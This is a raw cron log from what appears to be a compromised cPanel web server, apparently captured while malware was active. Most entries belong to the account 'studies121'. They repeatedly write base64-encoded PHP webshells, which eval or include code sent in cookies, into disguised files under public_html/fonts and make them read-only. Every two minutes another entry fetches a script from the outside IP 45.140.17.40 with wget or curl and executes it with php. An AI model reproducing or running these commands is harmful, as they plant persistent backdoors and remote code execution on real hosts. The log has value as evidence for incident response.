Sep  4 17:38:01 ip-184-168-122-23 CROND[29168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:39:01 ip-184-168-122-23 CROND[29290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:39:01 ip-184-168-122-23 CROND[29293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:39:01 ip-184-168-122-23 CROND[29294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:39:01 ip-184-168-122-23 CROND[29292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:39:01 ip-184-168-122-23 CROND[29295]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 17:40:01 ip-184-168-122-23 CROND[29490]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:40:01 ip-184-168-122-23 CROND[29492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:40:01 ip-184-168-122-23 CROND[29494]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:40:01 ip-184-168-122-23 CROND[29496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:40:01 ip-184-168-122-23 CROND[29493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:40:01 ip-184-168-122-23 CROND[29497]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:40:01 ip-184-168-122-23 CROND[29491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:40:01 ip-184-168-122-23 CROND[29495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 17:41:01 ip-184-168-122-23 CROND[29611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:41:01 ip-184-168-122-23 CROND[29612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:41:01 ip-184-168-122-23 CROND[29613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:41:01 ip-184-168-122-23 CROND[29614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:42:02 ip-184-168-122-23 CROND[29732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:42:02 ip-184-168-122-23 CROND[29733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:42:02 ip-184-168-122-23 CROND[29735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:42:02 ip-184-168-122-23 CROND[29731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:42:02 ip-184-168-122-23 CROND[29734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:43:01 ip-184-168-122-23 CROND[29873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:43:01 ip-184-168-122-23 CROND[29874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:43:01 ip-184-168-122-23 CROND[29875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:43:01 ip-184-168-122-23 CROND[29876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:44:01 ip-184-168-122-23 CROND[29994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:44:01 ip-184-168-122-23 CROND[29995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:44:01 ip-184-168-122-23 CROND[29996]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:44:01 ip-184-168-122-23 CROND[29997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:44:01 ip-184-168-122-23 CROND[29998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:45:01 ip-184-168-122-23 CROND[30106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:45:01 ip-184-168-122-23 CROND[30107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:45:01 ip-184-168-122-23 CROND[30108]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:45:01 ip-184-168-122-23 CROND[30110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:45:01 ip-184-168-122-23 CROND[30109]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:45:01 ip-184-168-122-23 CROND[30111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:46:01 ip-184-168-122-23 CROND[30209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:46:01 ip-184-168-122-23 CROND[30211]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:46:01 ip-184-168-122-23 CROND[30213]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 17:46:01 ip-184-168-122-23 CROND[30214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:46:01 ip-184-168-122-23 CROND[30216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:46:01 ip-184-168-122-23 CROND[30212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:46:01 ip-184-168-122-23 CROND[30215]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 17:47:01 ip-184-168-122-23 CROND[30418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:47:01 ip-184-168-122-23 CROND[30419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:47:01 ip-184-168-122-23 CROND[30420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:47:01 ip-184-168-122-23 CROND[30421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:48:01 ip-184-168-122-23 CROND[30501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:48:01 ip-184-168-122-23 CROND[30504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:48:01 ip-184-168-122-23 CROND[30503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:48:01 ip-184-168-122-23 CROND[30506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:48:01 ip-184-168-122-23 CROND[30505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:49:01 ip-184-168-122-23 CROND[30690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:49:01 ip-184-168-122-23 CROND[30691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 17:49:01 ip-184-168-122-23 CROND[30693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:49:01 ip-184-168-122-23 CROND[30692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:50:01 ip-184-168-122-23 CROND[30805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 17:50:01 ip-184-168-122-23 CROND[30807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:50:01 ip-184-168-122-23 CROND[30809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 17:50:01 ip-184-168-122-23 CROND[30810]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 17:50:01 ip-184-168-122-23 CROND[30811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
